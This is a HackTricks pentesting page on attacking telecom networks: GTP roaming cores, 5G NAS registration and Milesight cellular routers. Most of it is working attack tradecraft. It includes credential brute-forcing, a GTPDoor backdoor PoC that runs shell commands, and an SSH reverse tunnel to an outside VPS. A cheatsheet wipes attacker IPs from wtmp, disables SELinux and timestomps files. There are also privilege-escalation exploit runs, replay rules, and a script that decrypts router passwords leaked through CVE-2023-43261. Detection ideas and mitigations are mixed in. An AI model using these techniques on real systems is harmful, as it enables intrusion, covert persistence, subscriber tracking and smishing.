hacktricks/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

# Telecom Network Exploitation (GTP / Roaming Environments)

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> [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones.  Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**.  The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.

## 1. Recon & Initial Access

### 1.1  Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  A dedicated wordlist dramatically increases brute-force success:

```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```

If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).

### 1.2  Host Discovery inside GRX/IPX
Most GRX operators still allow **ICMP echo** across the backbone.  Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners:

```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```

## 2. Enumerating Subscribers – `cordscan`

The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses.  Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.

```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Key flags:
- `--imsi` Target subscriber IMSI
- `--oper` Home / HNI (MCC+MNC)
- `-w`      Write raw packets to pcap

Important constants inside the binary can be patched to widen scans:

```
pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"
```

## 3. Code Execution over GTP – `GTPDoor`

`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**.  When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`.  The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created.

Minimal PoC packet (Python):

```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```

Detection:
* any host sending **unbalanced Echo Requests** to SGSN IPs
* GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec

## 4. Pivoting Through the Core

### 4.1  `sgsnemu` + SOCKS5
`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**.  Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer.

```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
       -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy
```

With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**.

### 4.2  SSH Reverse Tunnel over Port 53
DNS is almost always open in roaming infrastructures.  Expose an internal SSH service to your VPS listening on :53 and return later from home:

```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Check that `GatewayPorts yes` is enabled on the VPS.

## 5. Covert Channels

| Channel | Transport | Decoding | Notes |
|---------|-----------|----------|-------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-domain |
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |

All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.

## 6. Defense Evasion Cheatsheet

```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux
```

## 7. Privilege Escalation on Legacy NE

```bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
```

Clean-up tip:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```

## 8. Tool Box

* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging

## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).

Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.

Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
  - ngap.procedure_code == 15 (InitialUEMessage)
  - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.

How to test:
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
- Wireshark quick checks:
  - It should decode as SUCI, not IMSI.
  - Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.

What to collect:
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.

Mitigation:
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.

### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.

Issue:
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.

Offensive steps:
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.

Verification/visibility:
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
- Example passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```

Mitigations (must):
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.

### 9.3 Replay of initial Registration Request (pre-security NAS)
Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.

PoC rule for 5GReplay to forward matching replays:

```xml
<beginning>
  <property value="THEN" 
            property_id="101" 
            type_property="FORWARD" 
            description="Forward InitialUEMessage with Registration Request">

    <!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
    <event value="COMPUTE" 
           event_id="1" 
           description="Trigger: InitialUEMessage" 
           boolean_expression="ngap.procedure_code == 15"/>

    <!-- Context match on NAS Registration Request (message_type == 65) -->
    <event value="COMPUTE" 
           event_id="2" 
           description="Context: Registration Request" 
           boolean_expression="nas_5g.message_type == 65"/>

  </property>
</beginning>
```

What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

### 9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

### 9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

---

## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

```

```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```

Responses include fields such as `timestamp`, `content`, `phone_number` (E.164), and `status` (`success` or `failed`). Repeated `failed` sends to the same number are often attacker “capability checks” to validate that a router/SIM can deliver before blasting.

Example curl to exfiltrate SMS metadata:

```bash
curl -sk -X POST http://<router>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```

Notes on auth artifacts:
- Some traffic may include an auth cookie, but a large fraction of exposed devices respond without any authentication to `query_inbox`/`query_outbox` when the management interface is Internet-facing.
- In environments requiring auth, previously-leaked credentials (see below) restore access.

Credential recovery path – CVE-2023-43261:
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: web-served logs (e.g., `httpd.log`) are reachable unauthenticated under `/lang/log/` and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript.
- Practical access and decrypt:

```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```

Minimal Python to decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```

Hunting and detection ideas (network):
- Alert on unauthenticated `POST /cgi` whose JSON body contains `base`/`function` set to `query_inbox` or `query_outbox`.
- Track repeated `POST /cgi` bursts followed by `status":"failed"` entries across many unique numbers from the same source IP (capability testing).
- Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.

Shodan/OSINT pivots (examples seen in the wild):
- `http.html:"rt_title"` matches Milesight router panels.
- Google dorking for exposed logs: `"/lang/log/system" ext:log`.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.

---

## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.

## References

- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)

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